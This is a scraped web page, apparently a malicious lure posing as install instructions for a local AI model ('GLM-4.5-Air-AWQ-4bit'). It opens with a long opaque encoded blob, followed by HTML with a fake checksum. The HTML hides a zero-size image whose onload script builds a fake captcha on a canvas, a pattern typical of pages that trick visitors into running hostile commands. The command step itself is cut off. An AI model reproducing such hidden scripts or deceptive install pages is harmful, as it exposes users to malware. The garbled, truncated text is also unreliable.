uHm0Gl\/MWX7hZMZb1wTwculNT40FMcDtUI+U34XGwaNyYwq7l5ZMaV8hErKbMZs+YYIGCWuxa83UAtSrEOXX+afFv2v2TDA9+tSYLtyQ7vC6T7UWUKhhl7Zpy2T\/VDJrWGMum3LbfKPZUvwLbEDxICkgLdq1jE7PavpbtXaSQXi33bTtMq5n1Q8u4jGFU+NPL1cP5as9keNuCE25DjYzGwVNXCKWfnht+rs1l+BpEdO4dpYG0JtGJyc9hArwfZOVFy1MWHX0NpBFQiARFLR+xTsspxQwV\/ofODtOfxZqrJ8mmXY9eVmFLkRXk1KcMP8suUsGJAlAYMh+MmmBmvWy6ZDQz01+905CZrDUGIkfdRrN7vMYkRq+CxZbemsMYHFW3+6VA17eUhK02rqBWTaFvUdcauULlHXCSns1du+sPBh4zrTs1Z2cFE0M70RrGlasL5+6TCuWmdirv9PulcFTOhl5\/A9hd3THqgsnJMDm9gNCG+mVr2QAT38pjo6\/\/PYbRBX5cWR\/4itBD7moFH4bbnBlIn8lDGUyWdB1\/3vNYg94WJgqRi2sx6Um+sZ3GZoTqLBleTiG2Ua5SSNox4G9Z+ikIqTh\/HbA9\/\/lNn3zPmKHWKs0TAHGneEuTohr3ZqqUsBPaCT+FH5bfvTaFc1GscAnysPkJXxf11IzcIXjLp14ukx14PDPcen+ONQ0Wt2opAhOCGewvW98y5vV9lqUX\/mT3cBjfGK6wJYCMf\/ExZ8+lY0m21aBEqnsfHY6A35pAQ6QW2Mgh6VQ2VDwstnCwGdu5nCgwXkQmEqXRmA8+O6TYyP48eEqz1MCWq5rewFhm\/VzcKL7CS1Ssa4UOLKKfIRbVdhI4aRU7keEcgbb\/XZfRWGvOB8N5DDcznaJVKjn5r9PErOoYmBlTjvFi3syHlLza7BtD5i7lGQzp+q8IhYWjPnGx+pbIl+Mi8djpJA6RleafzCQFPqfYqre0re9OX5lb3f6MTMHk6JdmMR5YWx+LKSVA+Ktoop13TL9pYOvZJGzb2fX0So4Ctl16458QeHgnXPvgvMVZpK7gPnL3xhVupT33fNLAzHegJCS9YEdvKd+pFu8AQx++rkFsQbXzt7jcRt7uJbFR2Lbn+0e+OyAYhYIXsy7hMXOaTKU0m2P2R5qXpETngHQoPtlfDu06GH4DkLhVHzeu157DLFQvlrc\/qKa\/Rhtdxq3dYV+uVMTY4RixC3ki3d9Z\/Ckn\/QLfiID00eupQxWu\/fpubnBFd8M2EhNvLXU14NmtiBHq5jDWLMgycWC63R6bsupZrbm1ZcvaRUcg1t8xP4lypnmEM8Or4+g201NVl3oGDNQpn2iKdLWDlrt8pmgKzmleV8huLZy2LbF6SavAdPdUUXTEvy9qGVkIVZ13cO3\/Twe1yWXi6B0iipabcRvB9pt2sSCgQpmpZJIQR0Pyme3WQNtqvnwyqqBW1yCrmQLet994V5YfRRs2YCFZgH3Lgz74nhaB+Cnpx9b\/T8ceBcW2W0I9cx3GzOwgp\/KzKM1mxq2eodgOd4fa0LNQ0wXLZ\/QuoLLc6D9MwGWVwi\/on+m58BvSxfJyYGvUwJAeH1VrfFPgqtWuP38vyIxpBBkFobErBm2+HnU96Gvz6RHvnoHxLqhDX9WP+fCwIPZbDqsYHLUJnc0le6dTo4aBU99lnCtzbPiZDvnzAbQZVfiz9kjjCfvImalh\/\/J1RUFisfhbhK585Dxpe+bUaqpHDX68D01bY+\/ODEMEdpo0pvSu0dHk2x6PrgMDm2dOtWBqaFbqvVvUU+SyJcdSHTbZvpee3ZzU2Z6ACSfgNyRs90jNo12hd7H4MzbOTWj9p47fRaA4akrgoUuvi67ZcrBgmya5J17AhPEfay4\/uEDj+TJiIguk51T1gnjD6lhO8wZPEOXaXYDXeWkY++OTSQhuYwFdd4sNY4FEmD+lE4TPtfFGVP5OwwZoDIOAemgpPixd7Sq2rQzPd59vrABQDWe6biy95jkqjgFwP5IxbSswTOnROT9NLfu0qVNeUislK\/3IkbBPIEp+gHbzHKPZCQa0yiEmZ4YhwgoJes5tm2ZtQ2\/OgR\/I7y1\/92RjBjL4FYSbvocg5MrIrG7jR3kETjKEOKmE7Dfccl5XDJ9PZ2pc36iD\/jnV1kFEJ+cTWIOU1hCHNru39PEy+FVdwjBP34mGJzs8DlcYnyOFTW+9qhc2u3YmPe0J\/jbjf4qb262u0VNxWqhfhpBexIyMmZph74EOm8JXhkQf+MUnAc\/3ZV3Nr\/c\/0n6a9VZ+r75TH154IeN2Ds1qI7+v51tqSH97x7rDrymV5GKG4B1rpQpW41ceIefRL3nOZ\/4bXYFVCwXWj1OKuBf4sMj5lVx15hUVaE32pIevSGnmLtxD4wIWiMGoHbtYieBY+4Sv7ESJLqwYQPBIe6Zh16dsKI7mSpEBzgxuCTiuebH\/dETBWsicfwH5Av+\/KDv1\/7jcnWvo9SOHfMSVCCCPfdarlgzPA\/LQ+u+dT\/FrQdPYTLgehKfYsAXk1yMi+uM+3vFnlJoIhtIlFYCyjG9ya9uML5x\/M36YyxgqXOENiNiXh7RpTWXQ\/axDpbwhMGgnEe6BcvOHg2THVzaWRKQB+bizlxAOVqe2DU2DY4lPTeKOQojxB4vx22V8\/bvEPTcLyrSrGNQHhEjJhWVV3XSz86rtdYrERp3urh4OuRuU6OJgtSanaylm8\/6SWSIj8Bmj+tMd6EZqGvOv0jdJrl+LY+aEEGkKqUr1n2egPfiunW652y0+9YF2ayjK+tnmnx9BDotLscsjsJJPS8umXhd7Jbs6y5m36pvfEDYGyYv4d6M9wBl9HN1c4vaw1bpd9he\/WUb4G7YKbPJ0VZHlZAivuqWeW8EGNMWiEaTI6kDCM7H2MwRFbrwtpZn0uyQ2\/KrUdDanH4wRr1V38aTJiXxp\/vQh9k6B7wq2tkAsU6gPb0oM\/fMyqaeyPMu1CDLGnhtN5ei1UszQ5SJYHAun6ASxs6ZyopbxUbl3TG8hZ4EmtKT8CBGLiN4x8z9zt9FgKn8BxTk\/jHaAm6SMRDvS88zyzE0N2a+f3li6quVxlNL26X2et0KM1k+vxUii+6HRuaI4rmmfjuxS\/qYsX9jKNJST+suzO1svzbwqZj8+0oZ5L9mBAsSOO0n5wjdm0gTbDvOrDqXms47SXH\/m4Hcz+Zn6aU78LFp4Gv63G0yTrjFUbEOujAW49ikErpIOAzo9qCZOJGzGYfXouqws6QjS03K4SKQpT562lWmEqMjPRcMfjmtb\/nWSwl9\/y1lj3sVnrUhALQi\/4CIROpjkZBVWj699kXi\/JxD0v0N2nGW\/q3u+wyNXVGR\/2\/UmULh4XO79cIBQHMcgo4Mf9ERyz6Iy8\/lYC6jrXcZUHl7E00xO\/qFR\/ZxQC9h7xkRQO5CsHKjhzTS\/OpcNNC9DMRa8BUeruncX5y+dmV6d3uG1gYHjPjoudRm33RWfFvB2hmz4rMe2NfKX56ZEBIlf9yqGWjedQmeDr4UrizDL31BlqFKv\/ehsxdv9V+mEMIbkPbTpmWppTLgr+4N9C6Gyegy0\/O98BkthDB1B7ICCr6YDpeZHCCXBNlSGY4d2K\/m\/5LJ7v16NUCTh66rMR4oi5Z7vqhB\/YeoBHe+EZ1L7RxmQ44TxWwaMWjJX4bdqyMipgQA2R1yFzm9u07B34PpTrTFFEh81l7EB0RfhdR7OEiB5yGEdkXdWhwWv1XA1Ff0K4NHTPsiRtdnaEqUtOqu0VSk3VeN18mfFM0ptr8N7CIC40B9bTRKSc+RrLwSN14bqyezIM+pmiakCG+HRO8ZVTQdIr9Xegt\/xeS51hjzw03ZD7J3eHkcweuW3DifWD17LeHQPvv2oWMcZ9Zz3hEvTpC5xAL\/0x2ZvAUuBMUon6Vtg\/1MZJaGofoSYXGwW3ur1nAFrvfmcuDbpWFRGGDC4ju08p2bR0tKWKaZVH8EG\/hJ6zhe5D2Tc3rJRryvdiyyIPg\/G1Zo6SrrnZVgB0k2v6T37R+V51CL6xvEjeBjIwZwVKGVYR50vXzasOXcgNrkpDm6vKN5XWa7S+oF4t9NiBPDnhvbtu1Z65S9nkzqnpWKkC3FRZ9A6lzrFA78QIxSP1WATryqQoMmhv7LweUHBuLx1fkf398rI1Mchl+5qeXjgecDgnJMigG8arMw1uPDwziYX3ol1nStILtjzBs77KhIMYyq5rZMTH\/+KMZtr8lT3HhHuMccNC2Yd2eA3ehScHb+KbLychQDtBk5ECb++tuUGMdLVkvwQQko3T6EhkZs+uQndFyosR\/9InBOUwTYEMXdxABiM6n7h\/k0yk0G6X4QL7rZkD6mcKyOaZZh2jinuo5B7XYhPeRYeT7H7lxxBGauWjWI3KJIxUl7Wlx6oeYlfF\/wKarv3TAbdwxSlO+p38NyqACAaSqh0QpCDLmGiNTs42ib268\/BJmNp00HFL+rIu9lEq9m1JF7faP8M\/n3+c7dIf6rhkvQRPx9Phe7CXDTv6v4sV5nRY71YH+deJUnvBnWKJomgSQkeaGyEMg\/6h3Bqb+wxSK8gXChIteXNb5lHAjboo5j9kvpNah3CMNNA4uKn5F+whDZ2omyAwaMWEmkuEh5Jxm7gtkz+FmjmtXjOiNZdalACjwnNLNupyuq5ZdvERuJVSuaw3xEIMlZpJdRuRJmenBwm3j3YsCyGznJGD+3xA9mtVIjQ0p8GTW65bCbbLQbTOXwP1uF\/DuADwOS6JmK97QSnXcYcc5x+phYXfURXmtbIVAXBQSC4NAnzbnRevaW9mlHQMVajgNODvFRhwifzwP6rTns5sQQBmret95bSZ0U\/zrscm7gxVeH5\/sR\/ZC55LWyf21kRxfMIm9Be5JJqm8C9pF2aAl+Zusv8dLblXgDrmmuwgRN5efLb868ORzcDSnbPGlvzOmu59uXiNAuoqG5QE0wZiqbU+bGwNvn5DjFz6xhbypq17s3MBUt4rqF+E0y9u7L1rmmcVqVYdKfEAQMEvLC+UabGbWiC\/Fp228NoCL1MRcUAlCuMIzpzo4JRXm+YA9K\/dlWmZvxWmqU+9rufWE+DhFm1DDcqzVC0MFjO\/FdGfi32Ku3WMMCjPffIIUseBAjtXIlyM6RXeahqlcmHNiXmTT0nRPiP3BEUrLj46kYhk44n3PpXPtcdRwBX9qEPPo9rygxt1CzfXwLf+0KUjQ5HCT5rmxeOKDdcqLjyh8hV+Iv5aA1TuVLn\/3PevrO0mSJNv8Fa8\/kVzkDWCN9T7SR3uhB+EBKxy2g0E6\/Tbil\/+B+1Ds4ByaLBE6aCdF39zSuUzWrDRd3UHRUfjSEU9WS9Yl5e+\/NZFHOgGVZ5j9oTv1H1x74FTEPpwIfllO9Wp9D6JFKJMGEaKRGtLLWsbRu3MDUxL86w2lz\/rN5vETuAN+b8Ghy53tUG1pzUnOqsCou\/uQkJdplzaDoNEi+EKbhdcMKmvqCNuszvKwlfo\/oBs4e9QQjX7TlpLVMyhC2txvcGN+CifAIV\/IUeGpXThCTknNm6FHDcKPCGJm21dXe0TXzwaWzA1b7h0SQ1jIjYDGaFhGZOisQODlVyoe+dfnG\/dppbSlXjNrANSXuAA9T4Du2Ebd7lGoHM+A4YauXcARpQWG3Y3ffPlxBbAqrUwzb0GqZpY2OKVOKjXdudGDv7hVtvHjX9IXEwpiJtXc29ML8GMLoOjy+cY43Kfv47fus+PsXh6j+1QjW4m\/abcxagD6fcqvgrawIBq19iYB+22\/YWN0fD+Z\/Ls95wmRSEOGi69GM5SIEO8NhnJv2GRIq3KRDsX2zkEpIxBJU8PZdYTO4ZXkN4hb5BpqJdu\/hJQhDPiI+\/5\/WPgdcUoB3LwRHy8\/4mOFhuTBEpGlXWrw5xsoGjSCLwdX0zEQuVzndjISeBu7k9LUPV5FT6ZTv4omBOFtvl+O63qzO3ZXY38ZM32xiQIUYo9Vn9QX8opGYQ1bAihvklILKEtzO6iQQ1AkP3tdATYGp+fT4Spng9B\/CrbxyzVT\/iZ2ITx6UPjOY4OHXPt7H+ZTMA14KGvlQ5KSz82QdGVX8YNl5qXHpkae\/csurie30D\/frT2Iir0Z+5acTdzNRxW\/enjHSfBG9MgBA1to62GRe4dHhlTvXts65lOoHaWdJcrItchg\/sAFCshk1pvUld6DXWMa5AHIDnmBX51CY0k0C53h4b4kosHsfx6xjtwPIOpshNNJqnnVBNbL93yZ9pXjsqgbHqxdL6SrSErthFjaHjf3UlVod\/p2\/TQYoftubBVAbGJKZVBPnTDUyhHuvjSjtGNt9wgbhQ5DbiRfuiRk39TiYvwVkHgoEodrd\/iz9T6eePhgx6RDPie7e6jVdCIhzm681+BkZNu\/Nc\/u3Zsow3IjfdzzZo2RLRdA++xFaEuhxiW0f1P9t3Gr6k17ITcLwlw5VO8WoLLPU6SoR032VNsaoTZdukJmQR8uvOT\/lJAJNKG4J87FlTbfFiUiyFGjhbko0T0F2CyyOUXAtAMnX7GfdQP4t3OT4Pr8F+VU1Z8dJuvOTno2I0MeDBJQ85pDzp4ZzfYlEfqvRl4H4j3NZHq7OwX\/hf\/KPLU\/e+F5ZdOilMVCEoP4ehdJXpkdVAI\/speeE0p6Xz2FXjSrYNqD\/QZy9tBN\/8TddBIXSvc3xWQR1AZRfRSGHRqzZOMA+1Yh7jA9y4Q4XzbptNP0mnnm+ZDrh04UaGhc0LmucIfGvRviP5odIYdba3NIuoDSTsi\/qWvUv36jf0+oKcCCZ8oGFy+jB9jv\/G9Jdtn0CMeGWLOj\/FY3ZA6Q0yQzJwRD8JL6Xl4MU9DZ+CG4gV5hRfvIfJ20JsN5FTh2kEf1Ab\/2iDa2qsph5ZRsBBP6MJozyqix0Gp1tjP5uOesBazZ8vWYL+6jPeJTAy92tp1tegHH3V\/m\/zDIASnKHkwCRPGZLuqGsJ8pylQZq14J+BdFcNeI2AjElUhnFF0NnTBvxfUNO\/m5mf4LDpQ4yid6qeUw9XFoqfGTGT11kXf5pl+Xn\/iqvldULsNlgO+eMnhhYeCerx\/Xbnn7w13gD+F3dCCe1zDUlSmapOfa6xoTB9n+9bj8vhrViD1wffCjRbNVVtm9tNaByIzckq7rN5Dub4hRcQRA8SE2b+z\/11GPEDeeQGwk58AOs+LOV7iletcFEVQEe5v4iM1wsZyjkHS4wT+H5R3WDkX6VviCc5fSpCTLuLtNay2AHo+gNECL55jBN+JLGoGXlMEE6LC7+Bza1U+o8dJ1fxp28prPwI7uMr29imfl\/nCW5Z7iD7Wa\/xU7U\/ny9wRqAUCYbgvoYfpUQ3DFaIw3si9uI7dzRCbtE5zHAR3NZQQnhhmzfU6LDIY\/PytybaaQWYpBAfSkjl7suqiZanD2hfge1mJMq4n\/qHzV+JqgBEoR0ecExQajSqcaNLlvKlaFJla6f\/C7SLO\/HpW3+zKa3sH9xUHsUe9ikTFMaZj8YH0okR0Ef1K3KsWkOvXKtZ9AKxJe4v+O2l0nA1t8js8\/69CQ9VrTRX9H\/50angilOp67YDFclyLl0scA+auNOVDtJugQMuHajx4oYo0nQjZQGzz8Te2lf+unJk9yZz9\/pdhbkeFzZi\/0wdwe3HRXsM4szp+6Rb0HFPkFHqMCUFsQeZyzQMYyplPWm7bWRGXxqY7LZaLWlu6IHKJCBgFlcSjjp6bTnZsMF+09eaL8COTPpzofdJwL7\/LmpMUqU28bxdNE4J\/GX1jKrxdmUmdpR3pnmGb\/+u1kl+ihXNUH5kyz3+Yn0FyA59DA6FPU1DIkpMGl85Ue\/ndXCxd7zcz4GDM1zcPLoCsGcGIuCI8wTMKo4XzcFpQUTg4KNP0O0h2OXVvURIY31ioSLPgEnM8WAiIjjEP4onz96z8LOpT\/EH+ZurIua\/fbByqXq0FQxJyCna8yEL3I2hhsF6cuTIAICuO41YIIh7dFa029HJUZFRbCw6m0G0DLWO99lsuPPvEIdQ69gdKVjFLBkmfdC03O9c5+uUk6i1Hi6IZWLOc0XGuMuU32bj1sXSSnX3zwqV5+nYlOkQ6lkypsW8vymPbR9d2dg7A2Bq+t+ZDXIzlsuNPc4gO6fNIpQ2GZkS4B3JNse65q5eZE7yCpYjZguSNNvHCUPmGIDa3\/RW72l7X7VIHkzj6IV0GuNHH+4Z5hW5p49yU26FJQxQY0sWL2XNTs5Nn0DTcAJm7+LUauLf9j8QlrBN7SZWFYMv\/geGpC\/OH02\/EIjWKFfz2JlpN9ffIvYUAoH3CUF63H\/AkIBEkky8NMLsoTxxfeT6CCaCInYtNGXwwb+QjHDY9N0\/UJukFt\/uab7KogPDC7stLBGpYj4RKa8pdQxwmLCormb9vUryQ8bNqLFQHtZk5kyM5hHTmO057jtaN+tP2HAg6nxFeU9WOEDCd+c8PeEGep+YwhA33796hrWrxDdVrNi0It0vggylhKwi\/ANrrbL7pkl+8D79\/9pcBUjFIi5FCGsMfqNYsUnc9FVS+QEwlnXzSlvdAx45CykwjK6BhPhUHOezRLQ0GZuzqm7PwVteUeFRwPC3Pt76qi3fgII2K898B2TW5mL1iroYYPTgTk05bDojnpxJM18h5Orm1wb73T7LuRBLcRfT36P8oRKP45QG6wzEUe5\/OvJvs2u\/TOi\/W6FYuh22oifzCTBnfhvhnXy1wFkaaBzTz+f\/GW7i4bzmVjAQJIqcWDd2XZxM1iSo11C35a2hPHYW957OiujzjLilDBq1ZckKeIAAak0XaciShb2YkBRKurt3SGsE\/RDQT6mhXrJjOi9PUh0oa99rC4GtjqyOztK2mkjdurFcO4PLGgSbIuQ6ZqzMuiZisjxvw9aOS+TwPqKK2VfDXsQCcxaxOEln9qJT+q6gmSAqGE2ih+c08HA0ab0wgH+G7nFIx1UCLZfnjrZ54NDbfJp+TAw\/Xz4pgoSl6E0wiga8YiXIj19ifZxVe+PuGDpmgPGHn9IMk6rwmp1T68sKs\/A21ZafWD8jaOPbvwYiDX+hIEPjFnN55538X89kpl\/y8S+2v+hoGQT+bO\/7+A9IQ4NU1e1uE4jBcd2MoGUIKrKC8yv4kvZBEONXeB6+oKwJtAaYxSjc+bugKfu2thsARanNt12YxH7NWTxkHSihsfjl9p2z2yygsb1GgWVrKZUe6yp91igNO+tPtwwYUGb10kW83ZhOU3YmPmVRywax\/ivP+a5\/fQfIN8sskDY6Bsg2AarYHx6jlyhNx8TCpGCfkNQGZsh4xVQDJZdRFOO6CF3qjDw8QVj23aOwGu6hC3Lr0qxhEv7UvD8hkwQ1o1jnPYXn+VsWNuYzcmHVQZuV9DeC8Cv1Pw3Lln\/++NPnAv\/T3+5N7cJ0zfdAjAK91CH5TMVQ42iqZ4\/MlCCmhmqvQaHT\/Vs8lmzoAF3MX8VpyXA0tblquIrtbYNbVQWaaBE1Np+kz2WDX82+H6wBZzTH0DCXuJ5sn+tViGPj7tyiSbcn4g7G428udOu7Kqipqnq2WTs5JZArLqxWueuGef6cHp0v72F0b3qS3lAyIZPcd8pCXR4dHJAGCVdhrN3gMR0OASmZscZ1LzJyqFxbR\/OtxLR40Kc1E8g180P6\/dMc0u+af+ufqxMRVcWfV2JcArqxK2VM2Q4yxyi8ktfnh3b03\/Iprn7+0HkMaZhRRjFGPCjgiTcHJaOrCV9iH8Pt68LePvEaW9UIaRfwya5czwGK7ZsloVaF0dIsmDFi7S9xuU2Ipi4VeX8i\/Yhb3uMvn0GXnuHyS\/swdjSqlpMgR0DO8RRJrzl3K6ORnLSU\/Z3hPbVqVW9N9HfJYa3zzXZnHtIWEaGV5vnWnoBJdfu8DbFq+Evqu6Cx85sTDqrkamDuVezBYXiMmScd9syB1HV\/I+vnhtC5\/vVcQ+LWxVmuqecPkVUsJGgCBPl\/es4D\/2H95tMUpoLDvNTce2Q90GqFV2sbq+GCpSl2r20zz4ym7PFfvvXoBd8ItAWzNBGANoHpZcgs6Legsoqi\/eujlXsOljBgsX4C++t\/uF\/fWN7NaNjG6H2mfUg39jphke15uMaeHRo+XMuQRvv0fpsgqN6u\/W3KxP4rtYBe9qZDxeGZhGSzVFD5gzjFhLZ1x\/gDc0RS1pcZZlOWoJGFEeYBcydMsbEGtqhwR9EOZc7h3varbd1znxCotnGe7sJ+oJQuA4qXILH3Ro4OaftNHPuod3y1hSHgq3EfmDkc5N3G+QbKDPMvPkcYlTXTiLaED+yp3uRpHQdepR\/m9IjFNi9+dSQzcutFE\/hquGL58kwItfXK\/x8GbZeXilOkec+WF4FMPnSI2qW2YditNXb1MX+6rgvyRD+dqqSrRKhngZer9s7sq22Ti4ATY+BWfGxWUmV7TXJYH52G+3D3hC7CSPOHQKxtb58z4pqebbjIHA61O0EitXAazpy36KVZZ62qhs12pkSm3tq2yiuFuKhkzFF5VwnlK4iz2VDpKsRZdalVscU0Efp3om55tRq6mLffnOab89n0CnIeBG2yXPO8EkZNlNyUlfrbZrtBCXSTp+YtfalYKbt4s0qnOljNPZWSz0\/svbfTSQ+d0Wdll1g0b\/MOdUEhKeygUInPcka\/Tj82ppLtmwlyZGCEyuU4ylNisHbB7OmCzG43J\/9pdYQGWajOF43CevS9F88phwD5SSYwIim7CN+pHomKPBEtYX5DyPOyaXe0fT\/E5ZbVbe3P7jDDv0bg7f+4sLUHgztIE9QLiP8ogHQwbZS7xByyJG3PGDSEZVx5FElSXUYDdblXyGGd3T1GMsFGrAn6LJIeXAQUMN9JkqAGGrDUl96nyJC882ckGPw\/OtjpkqQy6StKOH7DM4OP3JCJMHhCztQY1DhtrqivprrVTRDoyKUcuEUAdO1lyEjOIJBlN+IhrqxmaGbpNm8RHC9jLDuk5n7m9qX139BmUPPCJ0+pHqFqOGLDivi4+og+wj6bOw8eowu+qHr18agXnzNP+p0XAF1pdFTf0865FsXigUFs9SLTC8JelrQzSS4dlAK2k9tJwEHNbPNtzDn1YYzn0ZebDvwQLMIH0icUAC710OGjRrH01tJFKjHFxLQYnm23oUswPXId80MVXYcGC6WOctYplTJxZnj8su0KjbZkrEJhLP\/PVW2oFibXJ2dvRXAL20ewBW2QPQXj\/QJRVM2miWOY3fs7QcuHEFf8jxaucCo0+3rBM2Cyu1itf8UkY8D+PrwSWoKFUpUWAz81ee0OkoJyQ63MIhTMOyTFq8rvJKVz+e2B2GaisLNtRYoA7q+Wb2M223WCrXPvcCDAO2+FBHm1EcUpfwox3yp58cZhy8AtXwycqGH92oLHy7aLo8Jm9VSSLMj31W8wWDTIeev1vf4L2YwXScuIndvqLRNecZCzQRM984s76bRraDjk8z9HB7gYAs9W9Tb16NRko62rpSb9X2RFKZ+SGQKLLlxbNjYoG0IWHQK0o1+DqSNwjINyMgQWS7eV30\/uoMLH5NdNifzkQyDJAmEdcb\/9FiSc0s7Y+hOo3E9\/1R9kXD6Q+RDkUHIBi4JqlCHUwIl2dfBh5ExoSwQMkp\/9rYMuIneGpO5tR6cPIxG4tpqHdB5x2pJvt09o5j2cxYE4h2lLK8hxAuijiGtsWw2s31p\/K9QRMFzYmko66kSEBGmVDNQqLDpKZK\/wQGRv+lGAmo64IH0dxazVkGMl4KcaEqJWfnqVZP3jpOCT0+E+TJxLkxbjTMCJvm4b49wojGZ\/xLwUn0fAoTmN6eMySsKrF6omm2ABAhg6X6NQvkG3NfW45+valh2VGYoqxzE9l3n5nyqWnu+NE1+RB+VUO64WEJ7R9TmgZ\/qcXwSu1WkZZ1s5xoHt7XLlgNPijsmwyj3PLs7zBPIUyw6s73HFo8P\/NjqWnPNsvlzq8RE\/JJtRWzIwg7yucTnGz2fy2gI\/jdXUankjUp77xsFnHuK6sKTSYM\/vNQud\/rZqeJFhRTO9Q5K\/lywz1nnR75XJ8khKFojBrMW4WhzY\/tIvlOGqmI9GIGkPXJq21HC9Hx7U6cuBAcXuEx\/Hvj2bZ1VPTS8JhOqfkwSTSZa+X6wzecTvcfrWwnIH++tmVG20IEfpZtOBQMK9aRy5hC927MyVLdNNIPKD+0LmJPEjXJWqYGAoqZiHoLexccQ7WZbYINZQt0T3yo7KuPsZC5fRodEgzOyl\/d3zS4mtJQPJtUFSUoPXjCf\/K70482FuC8MsPvEaRi0C+YyEWi70r8EiH26LuLoJBofBwDcAehVfNEp3WVl\/M17Phx+rHzlu5Wn4MaCXm56IsurmN4WvIy1nAM6dTxnX30bEghxak2n0ctCqklGDj1y3vndxtjCxnG3hL2Zo78VwB2v0P\/wbtykR1DiiTjh3mSl5TFShe5P3Bl7cNNbgjnppRAgmFTbp2ldCMOX3ZM5+oj9ba8I9\/CutOp0iqgIiivLtuBK4SsyxxlKNmEM69PcKhFqNOHhemJPoRZOSP\/BrQp\/usoz5NG6QkUc9XXCUtLtha3dPu1LlQ56wHuFlPl1Z67w8m0\/FbXg3sg2tIVQoywYw\/jKL27YDEZCi\/frH1t0jEdWTbc1hcO9hCHjp4Dt0Iu\/ltr1izSnJEt\/F+Jxa1\/0eb8G2zOdVi8JY2E0PJLvvF0H03fapMPQo94d36q+A3rMNs310BWVQmvNXphsYJceJlj6CZksDXsbBY9VhPdvXUt+DMnY8Su\/oc+6qdiqlQqmNh4+ng+8Q5huAmc2P9tIZNhov5zMM0G\/ULsNTLIhiOCIgCLK2CZabxMrk62l7kJw+gShCAvPsUhN13RE+iGu+hS46kQFU9tHXoHCXjticDLe7yUsCPNXaELoRnym5zDTNsODWsoCLAUj3B1qXu10wvOkECC6VscWvFf+BsNJrUf3kyo735mOVxcCj0IP5hOtG91v4IV0DPcNHSWj6\/mIpmj3I0Eyat4A1LW\/HAjHDgB5XU1oD\/p2Pz8ufXE0ybTUUae48g9e9xvwZn+NUFnpfwPfu+tsCzOyi2DhA1TsCQ\/1kkQLu0r\/DxLY6V8yu9uJj93VDAHWCAwYEG2pZw5IkChCyyLT2VuE+G\/rxDzNnet0VxY19HtKSy7zYzdKtXy9uxBEjlWU\/+ScNYOHsTu5T4a6i0OBTD5OLm7sTK\/r8td9Vuupi5v\/TTQ37jRI6SjFQiSXAE4n4NitnzRXae9VYl+6u0ehkSzYaKRpqwSO0\/J+HTwdJELn4KUIPFS5C+Ubb+TPyKVZaggOJeV4C7L4A2FaWPpehOQw4CMZEfppBbIYO1L4d0bWv8hTfs4WQxn5Ow3LK7a6dz+reTBd8rWn8PGTRT8vnpO1sLuSm0SxioKo8a6y+PSzZ5cCHzq8QPqdCkA6Pdekv0rVQN8S+RkJETT2uOaWBXTk61IEQLtGy6IWGhYLZzk6\/Q6anwvZ5+jo7zsfEhJUgguCTIhaewnhjCb9371DiUTEIInOzC5hMmOIUiKDGQKq\/P3X1Tu5Qwiss40xy4hN4gDrg5O7LHQEVNb5RoLE0TE1BbxRlG+f6KPZmhq0jfg1bhuOr\/i2g1iHH2\/k8MTVZmEAjzaRYYGxTta0V9qNlTgDtNkjPi3mnFjmtZp86pM7Hta0s15yC+52\/Hu6hyT8l3SjkY5sdDMDDFOw20Ef53a86FJNEwd8TE+e8Voph\/DvfOtn7DxfDzqKc9\/jUyEWFdGu4HQ4wASVyCtO+KR8H3lzEYBanKcn5rBNM3WMMXJZcIl4NaPSP\/ibWbV7MZIzBjqQ3kMEOtGToVvJNmnVANJbTtMLMBkrz82pCNzzmhqbKtA9ZMFRp73Daai8JMRzDClVvG2BBiNpOT\/x7SLOdcH\/Ib473mtTO0xUeqi8ZqBF8AiTAgr6SF5vot2NFXdy39VlzTcQ8SOHUrJg6W9RSKvjgiisBo+w80LG9jErJPa7eVrMxJf5USljswtN5hixGOERfKXCeT3CO7diCMFVCB+MGkDBrfH78jHMuNwQ09g3gaNAPHkLnU4I98jIqYFQTfpBqKQf3CqX7L2hOATJ7p94iS7+Js0ysATA6GNmItiHTTNWbjIU41ZUZU99kRdqN52iaReuRDW1Qjp3Cr8ujSuUjs3+AL7PjUpujbaiO95mtK0nn54QdWN7HF08J2bgxMWDqsvPztUPCE4klHWXb8tSjGWsLHENNSZE1vTC6eeBOzv1obkze+\/GsYAsfyZYM8ODRXafartketm6A4t4UDOlTOz2d8QK1rXuIlNwp\/Rd8dkqKofw8mmqbU+3oJ99JJOfbNK4Eb5NlPlav7fbQr5NANgul8a3h4EUPTga1fxMAjR3ARb1yoD+WYbnjMdrH8kO0KZS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alt=\"How to Autostart GLM-4.5-Air-AWQ-4bit For Beginners\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>If you want the <i>fastest local installation<\/i> for this model, use standard <b>pip packages<\/b>.<\/p>\n<p>Make sure to <b>follow the instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:26px;overflow:hidden;,Roboto,Helvetica,Arial,sans-serif;background:#f8fafc\">\n<tr>\n<td style=\"padding:52px 70px;text-align:center;font-size:28px;color:#0f172a;line-height:3;letter-spacing:-0.02em;font-weight:500\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#263238\">\ud83d\udee1\ufe0f Checksum: a1ea3edff226ba232dcde96b4fc60991 \u2014 <span style=\"color:#666\">\u23f0 Updated on: 2026-06-27<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe 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17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid 